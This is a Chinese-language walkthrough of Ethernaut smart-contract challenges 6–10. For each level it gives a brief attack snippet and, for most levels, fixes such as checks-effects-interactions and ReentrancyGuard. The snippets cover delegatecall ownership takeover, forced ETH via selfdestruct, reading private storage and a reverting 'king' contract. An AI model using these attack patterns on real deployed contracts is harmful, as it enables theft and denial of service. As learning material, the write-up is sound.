Ethernaut_WP(6-10)
字数 1976 2025-08-29 22:41:24
Ethernaut 智能合约安全挑战解析(6-10关)
第六关:Delegatecall 漏洞
合约分析
本关包含两个合约:
Delegate:基础合约Delegation:代理合约,使用 delegatecall 调用 Delegate 的功能
关键点:
Delegation合约的fallback()函数使用delegatecall调用Delegate合约delegatecall在调用者(Delegation)的存储上下文中执行目标合约(Delegate)的代码msg.sender和msg.value保持不变
delegatecall 特性
- 目标合约代码在调用者上下文中执行(继承调用合约的存储布局)
msg.sender和msg.value不变- 存储变量顺序不同可能导致存储冲突和安全漏洞
攻击方法
通过调用 Delegation 合约中不存在的函数触发 fallback(),使用 delegatecall 执行 Delegate 的 pwn() 函数来修改 Delegation 的 owner。
攻击代码示例:
// 调用不存在的函数触发 fallback
await contract.sendTransaction({
data: web3.utils.keccak256("pwn()").substring(0, 10)
});
修复方案
-
限制 fallback 调用:
modifier onlyOwner { require(msg.sender == owner); _; } fallback() external payable onlyOwner { // ... } -
避免代理不受信任合约:
- 直接调用
delegate.pwn()而非使用delegatecall
- 直接调用
-
使用 OpenZeppelin 的 Ownable:
- 继承
Ownable合约提供onlyOwner保护 - 使用
transferOwnership(newOwner)安全转移所有权
- 继承
第七关:强制转账
关键知识点
selfdestruct是强制向合约转账的特殊方法- 即使合约没有
payable修饰符或receive/fallback函数,selfdestruct也能强制转账
接收 ETH 的方式对比
| 方式 | 触发条件 | 需要 payable | 说明 |
|---|---|---|---|
| receive() | 仅接受无数据的 ETH 交易 | ✅ | 推荐方式 |
| fallback() | 带数据的 ETH 交易或无 receive() 时 | ✅ | 后备方案 |
| selfdestruct() | 另一个合约 selfdestruct(this) | ❌ | 强制发送 ETH |
| delegatecall | 目标合约可接收 ETH | ✅ | 间接接收 |
| block.coinbase | 矿工奖励 | ❌ | 特殊情况 |
攻击方法
创建攻击合约并调用 selfdestruct 强制向目标合约转账:
contract Attacker {
constructor(address payable target) payable {
selfdestruct(target);
}
}
第八关:私有变量读取
存储结构
- Solidity 有四个存储区域:Storage、Memory、Calldata、Stack
- 私有变量仍然存储在链上,可以通过存储槽访问
存储规则
- 状态变量按声明顺序分配存储槽
- 第一个变量存储在 slot 0,第二个在 slot 1,依此类推
- 小于 32 字节的连续变量可能打包到同一槽中
攻击方法
通过 web3.eth.getStorageAt 读取私有变量:
web3.eth.getStorageAt(contract.address, 1, function(x, y) {
alert(web3.toAscii(y))
})
修复方案
-
存储哈希值而非明文:
bytes32 private passwordHash; function unlock(bytes32 _password) public { require(keccak256(abi.encodePacked(_password)) == passwordHash); // ... } -
commit-reveal 方案:
- 用户先提交密码哈希
- 再提交密码进行验证
-
链下存储:
- 将敏感数据存储在服务器或 IPFS 上
第九关:拒绝服务
攻击思路
成为 king 后,在接收 ETH 的回调中 revert 交易,阻止后续转账成功。
攻击合约示例:
contract Attacker {
function attack(address payable target) public payable {
// 成为 king
target.call{value: msg.value}("");
}
receive() external payable {
revert(); // 拒绝后续转账
}
}
第十关:重入攻击
漏洞分析
合约存在经典的重入漏洞:
function withdraw() public {
if(balances[msg.sender] > 0) {
(bool result,) = msg.sender.call{value: balances[msg.sender]}("");
if(result) {
balances[msg.sender] = 0;
}
}
}
问题在于先转账后更新余额,攻击者可以在转账回调中再次调用 withdraw。
攻击流程
- 攻击合约调用
withdraw - 目标合约转账给攻击合约
- 攻击合约的
receive函数再次调用withdraw - 重复直到合约资金耗尽
修复方案
检查-生效-交互模式:
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// 先更新状态
balances[msg.sender] = 0;
// 再交互
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
防御措施
- 使用互斥锁(ReentrancyGuard)
- 遵循"检查-生效-交互"模式
- 限制外部调用后的操作
- 使用 OpenZeppelin 的
ReentrancyGuard合约
总结
这五关涵盖了智能合约安全中的多个关键漏洞:
delegatecall的存储上下文问题selfdestruct的强制转账特性- 私有变量的链上存储特性
- 拒绝服务攻击
- 经典的重入攻击
开发者应特别注意:
- 谨慎使用低级调用(delegatecall/call)
- 不要假设私有变量真的私有
- 遵循"检查-生效-交互"模式
- 考虑所有可能的执行路径
- 使用经过验证的安全模式(如 ReentrancyGuard)